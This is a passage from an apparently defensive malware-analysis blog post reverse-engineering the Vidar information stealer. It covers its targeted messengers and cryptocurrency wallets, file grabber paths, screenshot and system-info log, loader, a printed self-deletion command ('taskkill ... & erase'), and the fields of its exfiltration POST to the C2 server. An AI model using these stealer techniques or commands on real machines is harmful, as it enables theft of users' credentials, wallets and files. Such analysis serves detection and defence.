part).&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Bat!&lt;/li&gt;&#10;&#9;&lt;li&gt;Pidgin&lt;/li&gt;&#10;&#9;&lt;li&gt;Telegram&lt;/li&gt;&#10;&#9;&lt;li&gt;Thunderbird&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Wallets&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Anoncoin&lt;/li&gt;&#10;&#9;&lt;li&gt;BBQCoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Bitcoin&lt;/li&gt;&#10;&#9;&lt;li&gt;DashCore&lt;/li&gt;&#10;&#9;&lt;li&gt;DevCoin&lt;/li&gt;&#10;&#9;&lt;li&gt;DigitalCoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Electron Cash&lt;/li&gt;&#10;&#9;&lt;li&gt;ElectrumLTC&lt;/li&gt;&#10;&#9;&lt;li&gt;Ethereum&lt;/li&gt;&#10;&#9;&lt;li&gt;Exodus&lt;/li&gt;&#10;&#9;&lt;li&gt;FlorinCoin&lt;/li&gt;&#10;&#9;&lt;li&gt;FrancoCoin&lt;/li&gt;&#10;&#9;&lt;li&gt;JAXX&lt;/li&gt;&#10;&#9;&lt;li&gt;Litecoin&lt;/li&gt;&#10;&#9;&lt;li&gt;MultiDoge&lt;/li&gt;&#10;&#9;&lt;li&gt;TerraCoin&lt;/li&gt;&#10;&#9;&lt;li&gt;YACoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Zcash&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Of course, this list could change if the customer added some additional files to search on specific areas on the victim machine.&#10;&lt;h2&gt;Grabber&lt;/h2&gt;&#10;The grabber feature is by far, the most complicated feature of the malware and what he looks to be really different from Arkei, in term of implementation.&#10;&#10;So first of all, it will skip or not the grabber feature by checking in config file downloaded, if this is activated. Preparing the strings for creating the folder path and when all is set &lt;span&gt;&lt;strong&gt;&lt;em&gt;func_grabber&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt; could be used.&#10;&#10;&lt;img class=" size-full wp-image-499 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-grabber-01.webp" alt="Screenshot: Vidar grabber 01" width="419" height="835" loading="lazy" decoding="async" /&gt;&#10;&#10;When inspecting the &lt;span&gt;&lt;em&gt;&lt;strong&gt;func_grabber&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;, I was not prepared to have this :&#10;&#10;&lt;img class=" size-full wp-image-500 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-grabber-02.webp" alt="Screenshot: Vidar grabber 02" width="314" height="865" loading="lazy" decoding="async" /&gt;&#10;&#10;By far, when I saw this, I was not really happy to reverse this. I mean, I know I was falling in some unexpected allocated memory into my brain. I had all the magnificent stuff that all malware reverser love (or not at all) :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Weird conditions come out the blue.&lt;/li&gt;&#10;&#9;&lt;li&gt;Calling function that will call other functions like Russian wooden dolls&lt;/li&gt;&#10;&#9;&lt;li&gt;API calls&lt;/li&gt;&#10;&#9;&lt;li&gt;etc...&lt;/li&gt;&#10;&lt;/ul&gt;&#10;But if we are watching these at a macro view, it's, in fact, easier than it looks like. I will just show just one example.&#10;&#10;So in the example below, if the string %APPDATA% is present in the config downloaded from the C2. it will enter into the function and will start a bunch of verifications. Until entering into the most important one called &lt;em&gt;&lt;strong&gt;&lt;span&gt;func_VidarSearchFile&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&#10;&#10;&lt;img class=" size-full wp-image-502 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-grabber-03.webp" alt="Screenshot: Vidar grabber 03" width="425" height="826" loading="lazy" decoding="async" /&gt;&#10;&#10;After the process will remain almost the same for each scenario.&#10;&#10;This is at least, all the repositories available in the grabber feature :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;%ALL_DRIVES% (&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-getdrivetypea"&gt;GetDriveTypeA&lt;/a&gt; Necessary)&lt;/li&gt;&#10;&#9;&lt;li&gt;%APPDATA%&lt;/li&gt;&#10;&#9;&lt;li&gt;%C%&lt;/li&gt;&#10;&#9;&lt;li&gt;%D%&lt;/li&gt;&#10;&#9;&lt;li&gt;%DESKTOP%&lt;/li&gt;&#10;&#9;&lt;li&gt;%DOCUMENTS%&lt;/li&gt;&#10;&#9;&lt;li&gt;%DRIVE_FIXED%&lt;/li&gt;&#10;&#9;&lt;li&gt;%DRIVE_REMOVABLE%&lt;/li&gt;&#10;&#9;&lt;li&gt;%LOCALAPPDATA%&lt;/li&gt;&#10;&#9;&lt;li&gt;%USERPROFILE%&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Screenshot&lt;/h2&gt;&#10;The generation of the screenshot is easy to understand :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;First &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/gdiplusinit/nf-gdiplusinit-gdiplusstartup"&gt;GdiplusStartup&lt;/a&gt; function is called to initialize the Windows GDI+&lt;/li&gt;&#10;&#9;&lt;li&gt;Then an alternative to GetDeviceCaps is called for getting the height of the screen on the display monitor with the value SM_CYSCREEN (1) with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getsystemmetrics"&gt;GetSystemMetrics&lt;/a&gt; this will be the same thing with SM_CXSCREEN (0) for the width.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-483 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-screenshot-01.webp" alt="Screenshot: Vidar screenshot 01" width="480" height="361" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Now, it needs a DC object for creating a compatible bitmap necessary to generate our image by selecting the windows DC into the compatible memory DC and using a Bit Block API function to transfer the data. When all is done, it will enter into &lt;span&gt;&lt;em&gt;&lt;strong&gt;func_GdipSaveImageToFile&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-488 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-screenshot-03.webp" alt="Screenshot: Vidar screenshot 03" width="541" height="563" loading="lazy" decoding="async" /&gt;&#10;&#10;So now its needed to collect the bits from the generated bitmap and copies them into a buffer that will generate the screen capture file.&#10;&#10;&lt;img class=" size-full wp-image-489 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-screenshot-04.webp" alt="Screenshot: Vidar screenshot 04" width="497" height="176" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Information Log&lt;/h2&gt;&#10;So let's dig into information.txt, to understand how this file is generated. I will mention only some parts of the creation, another part will be just the corresponded API call, breakpoint on these API if you want to take your time to analyze all the step easily.&#10;&#10;First, it indicates which version of Vidar is used.&#10;&#10;&lt;img class="alignnone size-full wp-image-471" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-version.webp" alt="Screenshot: Vidar version" width="842" height="395" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;span style="color: #ff0000;"&gt;&lt;em&gt;If you don't see a Vidar on the log file. It means that you have an early version of it.&lt;/em&gt;&lt;/span&gt;&#10;&lt;table style="height: 86px;" border="0" width="591" cellspacing="0"&gt;&lt;colgroup width="142"&gt;&lt;/colgroup&gt; &lt;colgroup width="159"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Date&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemtimeasfiletime"&gt;GetSystemTimeAsFileTime&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;MachineID&lt;/td&gt;&#10;&lt;td align="left"&gt;Explained Above&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;GUID&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getcurrenthwprofilea"&gt;GetCurrentHwProfileA&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Path&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/psapi/nf-psapi-getmodulefilenameexa"&gt;GetModuleFileNameExA&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Work Dir&lt;/td&gt;&#10;&lt;td align="left"&gt;Hardcoded string + &lt;strong&gt;&lt;em&gt;&lt;span&gt;func_FolderNameGeneration&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;Get the name of the operating system and platform is classic because this is, in fact, a concatenation of two things. First, with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regopenkeyexa"&gt;RegOpenKeyExA&lt;/a&gt;, the value of this registry key is fetched:&#10;&lt;pre&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName&lt;/pre&gt;&#10;Secondly, for knowing if Windows is 32 or 64-bit, it checks itself if is running on &lt;a href="https://learn.microsoft.com/en-us/windows/desktop/WinProg64/running-32-bit-applications"&gt;WOW64&lt;/a&gt; with the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/wow64apiset/nf-wow64apiset-iswow64process"&gt;IsWow64Process&lt;/a&gt;.&#10;&#10;&lt;img class=" size-full wp-image-469 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-platform.webp" alt="Screenshot: Vidar platform" width="563" height="355" loading="lazy" decoding="async" /&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="142"&gt;&lt;/colgroup&gt; &lt;colgroup width="299"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Computer Name&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getcomputernamea"&gt;GetComputerNameA&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;User Name&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getusernamea"&gt;GetUserNameA&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;For the current screen resolution used, &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/wingdi/nf-wingdi-createdca"&gt;CreateDCA&lt;/a&gt; is called to create a device context for "Display" and requesting the Width and Height of the Device with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/wingdi/nf-wingdi-getdevicecaps"&gt;GetDeviceCaps&lt;/a&gt;.&#10;&#10;&lt;img class=" size-full wp-image-470 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-device.webp" alt="Screenshot: Vidar device" width="449" height="345" loading="lazy" decoding="async" /&gt;&#10;&#10;This remains to this source code :&#10;&lt;pre&gt;HDC hDC = CreateDCA("DISPLAY", NULL, NULL, NULL); &#10;int width = GetDeviceCaps(hDC, HORZRES); // HORZRES = 0x8&#10;int height = GetDeviceCaps(hDC, VERTRES); // VERTRES = 0x0A&lt;/pre&gt;&#10;Let's continue our in-depth analysis...&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="142"&gt;&lt;/colgroup&gt; &lt;colgroup width="299"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Display Language&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getuserdefaultlocalename"&gt;GetUserDefaultLocaleName&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Keyboard Languages&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getkeyboardlayoutlist"&gt;GetKeyboardLayoutList&lt;/a&gt; / &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getlocaleinfoa"&gt;GetLocaleInfoA&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Local Time&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemtimeasfiletime"&gt;GetSystemTimeAsFileTime&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;TimeZone&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/timezoneapi/nf-timezoneapi-tzspecificlocaltimetosystemtime"&gt;TzSpecificLocalTimeToSystemTime&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;em&gt;&lt;strong&gt;Hardware&lt;/strong&gt;&lt;/em&gt;&#10;&#10;??? the process name, the value of the registry key  is fetched:&#10;&lt;pre&gt;HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString&lt;/pre&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="142"&gt;&lt;/colgroup&gt; &lt;colgroup width="299"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;CPU Count&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/ns-sysinfoapi-_system_info"&gt;GetSystemInfo.dwNumberOfProcessors&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;RAM&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-globalmemorystatusex"&gt;GlobalMemoryStatusEx&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;VideoCard&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-enumdisplaydevicesa"&gt;EnumDisplayDevicesW&lt;/a&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;em&gt;&lt;strong&gt;Network&lt;/strong&gt;&lt;/em&gt;&#10;&#10;The network part is quite easy, it's a translation of data retrieves on &lt;em&gt;&lt;strong&gt;ip-api.com/line/&lt;/strong&gt; &lt;/em&gt;and put into the log, at the corresponding place.&#10;&#10;&lt;img class=" size-full wp-image-468 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-network.webp" alt="Screenshot: Vidar network" width="473" height="411" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Processes&lt;/strong&gt;&lt;/em&gt;&#10;&#10;There is quite soft stuff done to get a snapshot of all the processes at the time where the stealer is executed.&#10;&#10;&lt;img class=" size-full wp-image-477 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-process-snapshot.webp" alt="Screenshot: Vidar process snapshot" width="502" height="740" loading="lazy" decoding="async" /&gt;&#10;&#10;But in the end, this is not complicated at all to understand the different steps.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Request &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot"&gt;CreateToolhelp32Snapshot&lt;/a&gt;, to get the complete snapshot of all the processes executed, and read one per one in a loop all with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-process32first"&gt;Process32First&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-481" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-process-snapshot-01.webp" alt="Screenshot: Vidar process snapshot 01" width="957" height="556" loading="lazy" decoding="async" /&gt;&#10;&#10;After, checking if it's a parent process or a child process, Vidar will grab two value of the &lt;em&gt;&lt;strong&gt;&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32"&gt;PROCESSENTRY32&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; object :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;th32ProcessID: PID&lt;/li&gt;&#10;&#9;&lt;li&gt;szExeFile: The name of the PE&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-482 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-process-snapshot-02.webp" alt="Screenshot: Vidar process snapshot 02" width="312" height="523" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Software&lt;/strong&gt;&lt;/em&gt;&#10;&#10;For the list of all installed software, the value of this registry key is fetched:&#10;&lt;pre&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&lt;/pre&gt;&#10;And these values are retrieves of each software.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;DisplayName&lt;/li&gt;&#10;&#9;&lt;li&gt;DisplayVersion&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-478" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-software-list.webp" alt="Screenshot: Vidar software list" width="681" height="826" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Results&lt;/strong&gt;&lt;/em&gt;&#10;&#10;So for example, if you want to see the results, let's see into &lt;a href="https://app.any.run/tasks/b439a1fd-fb62-4451-b9d4-d4a4597e3dfd"&gt;one sandbox analysis&lt;/a&gt;, the generated information.txt (this is a Vidar 4.2 here)&#10;&lt;pre&gt;Vidar Version: 4.2&#10;&#10;Date: Thu Dec 13 14:39:05 2018&#10;MachineID: 90059c37-1320-41a4-b58d-2b75a9850d2f&#10;GUID: {e29ac6c0-7037-11de-816d-806e6f6e6963}&#10;&#10;Path: C:\Users\admin\AppData\Local\Temp\toto.exe &#10;Work Dir: C:\ProgramData\LDGQ3MM434V3HGAR2ZUK&#10;&#10;Windows: Windows 7 Professional [x86]&#10;Computer Name: USER-PC&#10;User Name: admin&#10;Display Resolution: 1280x720&#10;Display Language: en-US&#10;Keyboard Languages: English (United States)&#10;Local Time: 13/12/2018 14:39:5&#10;TimeZone: UTC-0&#10;&#10;[Hardware]&#10;Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz&#10;CPU Count: 4&#10;RAM: 3583 MB&#10;VideoCard: Standard VGA Graphics Adapter&#10;&#10;[Network]&#10;IP: 185.230.125.140&#10;Country: Switzerland (CH)&#10;City: Zurich (Zurich)&#10;ZIP: 8010&#10;Coordinates: 47.3769,8.54169&#10;ISP: M247 Ltd (M247 Ltd)&#10;&#10;[Processes]&#10;- System [4]&#10;---------- smss.exe [264]&#10;- csrss.exe [344]&#10;&amp;lt; ... &amp;gt;&#10;&#10;[Software]&#10;Adobe Flash Player 26 ActiveX [26.0.0.131]&#10;Adobe Flash Player 26 NPAPI [26.0.0.131]&#10;Adobe Flash Player 26 PPAPI [26.0.0.131]&#10;&amp;lt; ... &amp;gt;&lt;/pre&gt;&#10;&lt;h2&gt;Loader&lt;/h2&gt;&#10;The task is rudimentary but enough to do the job :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Generating a random name for the downloaded payload&lt;/li&gt;&#10;&#9;&lt;li&gt;Download the payload&lt;/li&gt;&#10;&#9;&lt;li&gt;Execute&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-465 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-loader-01.webp" alt="Screenshot: Vidar loader 01" width="542" height="571" loading="lazy" decoding="async" /&gt;&#10;&#10;When the binary file is downloaded from the C2, it's using &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-createfilea"&gt;CreateFileA&lt;/a&gt; with specific parameters :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;span&gt;&lt;em&gt;&lt;strong&gt;edi&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt; : &lt;em&gt;The downloaded data from the C2&lt;/em&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;span style="color: #339966;"&gt;&lt;strong&gt;&lt;em&gt;80h&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt; : &lt;em&gt;"The file does not have other attributes set. This attribute is valid only if used alone."&lt;/em&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;em&gt;&lt;strong&gt;&lt;span style="color: #339966;"&gt;2&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt; : &lt;em&gt;This option will force the overwriting if the filename already exists.&lt;/em&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;span&gt;&lt;em&gt;&lt;strong&gt;edi&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt; : ???&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;span style="color: #339966;"&gt;&lt;em&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt; : "&lt;em&gt;Enables subsequent open operations on a file or device to request read access."&lt;/em&gt;&#10;&lt;p class=""&gt;&lt;em&gt;Otherwise, other processes cannot open the file or device if they request read access."&lt;/em&gt;&lt;/p&gt;&#10;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;span style="color: #339966;"&gt;&lt;strong&gt;&lt;em&gt;40000000h&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt; : &lt;em&gt;Write access (GENERIC_WRITE)&lt;/em&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;&lt;em&gt;&lt;span&gt;ebp&lt;/span&gt;+&lt;span style="color: #339966;"&gt;lpFileName&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt; : &lt;em&gt;The generated filename &lt;/em&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;When it's done, it only needs to Write content into the files (WriteFile) and then close the corresponding handle (CloseHandle)&#10;&#10;&lt;img class="alignnone size-full wp-image-466" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-loader-02.webp" alt="Screenshot: Vidar loader 02" width="675" height="534" loading="lazy" decoding="async" /&gt;&#10;&#10;So now, the file is downloaded and saved into the disk, it only needs to be launched with ShellExecuteA. So don't hesitate to breakpoint this API function, for grabbing the payload before it's too late for further analysis.&#10;&lt;h2&gt;Killing Part&lt;/h2&gt;&#10;So when all the task of the stealer is finally accomplished and cleaned, the stealer needs to erase itself. So first of all, it retrieves this own &lt;a href="https://en.wikipedia.org/wiki/Process_identifier"&gt;PID&lt;/a&gt; with the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-getcurrentprocessid"&gt;GetCurrentProcessId&lt;/a&gt;.&#10;&#10;&lt;img class=" size-full wp-image-462 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/erase-vidar-payload-01.webp" alt="Screenshot: Erase vidar payload 01" width="426" height="382" loading="lazy" decoding="async" /&gt;&#10;&#10;When it's done, it enters into "func_GetProcessIdName", tries to open a handle on his own process with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess"&gt;OpenProcess&lt;/a&gt;, if it failed, it continues to check and in the end the most important task here is to call &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/psapi/nf-psapi-getmodulebasenamea"&gt;GetModuleBaseNameA&lt;/a&gt;, which it permits to retrieve the name of the process name with the help of the PID that was obtained before.&#10;&#10;&lt;img class=" size-full wp-image-463 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/erase-vidar-payload-02.webp" alt="Screenshot: Erase vidar payload 02" width="411" height="616" loading="lazy" decoding="async" /&gt;&#10;&#10;Some strings that are hardcoded on .rdata section are called and saved for future purposes.&#10;&#10;&lt;img class="alignnone size-full wp-image-467" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-strings-exit.webp" alt="Screenshot: Vidar strings exit" width="795" height="139" loading="lazy" decoding="async" /&gt;&#10;&#10;When the request is finely crafted, Vidar is simply using &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea"&gt;ShellExecuteA&lt;/a&gt; to pop a command shell and executing the task, this permit to erase all trace of the interaction of the payload on the machine.&#10;&#10;&lt;img class=" size-full wp-image-464 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/erase-vidar-payload-03.webp" alt="Screenshot: Erase vidar payload 03" width="515" height="274" loading="lazy" decoding="async" /&gt;&#10;&#10;So if we want a quick overview of the executed command:&#10;&#10;&lt;em&gt;C:\Windows\System32\cmd.exe" /c taskkill /im vidar.exe /f &amp;amp; erase C:\Users\Pouet\AppData\Local\Temp\vidar.exe &amp;amp; exit&lt;/em&gt;&#10;&#10;Literally:&#10;&#10;&lt;em&gt;&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;Offset&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt; File + &lt;em&gt;&lt;strong&gt;&lt;span style="color: #ff00ff;"&gt;db&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt; &lt;strong&gt;'/c taskkill /im'&lt;/strong&gt; + [&lt;em&gt;&lt;span&gt;&lt;strong&gt;GetModuleBaseNameA&lt;/strong&gt;&lt;/span&gt;&lt;/em&gt;] + &lt;span style="color: #ff00ff;"&gt;&lt;em&gt;&lt;strong&gt;db&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt; &lt;strong&gt;' /f &amp;amp; erase'&lt;/strong&gt;  + [&lt;span&gt;&lt;em&gt;&lt;strong&gt;GetModuleFileNameExA&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt; + &lt;span&gt;&lt;em&gt;&lt;strong&gt;GetModuleBaseNameA&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;]+  + &lt;span style="color: #ff00ff;"&gt;&lt;em&gt;&lt;strong&gt;db&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt; &lt;strong&gt;' &amp;amp; exit'&lt;/strong&gt;&#10;&lt;h2&gt;Sending archive to the C2&lt;/h2&gt;&#10;&lt;h4&gt;Folder generation&lt;/h4&gt;&#10;COUNTRY + "_" + Machine GUID + ".zip"&#10;&#10;in example :&#10;&#10;NG_d6836847-acf3-4cee-945d-10c9982b53d1.zip&#10;&lt;h4&gt;Last POST request&lt;/h4&gt;&#10;During the generation of the POST request, the generated HTTP packet is tweaked to add some additional content that the C2 server will read and process data.&#10;&#10;&lt;img class="alignnone size-full wp-image-513" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-post-request.webp" alt="Screenshot: Vidar post request" width="664" height="157" loading="lazy" decoding="async" /&gt;&#10;&#10;Each name at the end of the string will be the corresponding field to be saved into the database. This at least, all the different Content-Disposition that will be added to the HTTP request.&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup span="2" width="85"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;hwid&lt;/td&gt;&#10;&lt;td align="left"&gt;Hardware ID&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;os&lt;/td&gt;&#10;&lt;td align="left"&gt;Operating System&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;platform&lt;/td&gt;&#10;&lt;td align="left"&gt;32 or 64 bits System&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;profile&lt;/td&gt;&#10;&lt;td align="left"&gt;C2 Profile ID&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;user&lt;/td&gt;&#10;&lt;td align="left"&gt;Name of the victim account&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;cccount&lt;/td&gt;&#10;&lt;td align="left"&gt;Number of Credit Cards stolen&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;ccount&lt;/td&gt;&#10;&lt;td align="left"&gt;Number of Coins Stolen (CryptoWallet)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;fcount&lt;/td&gt;&#10;&lt;td 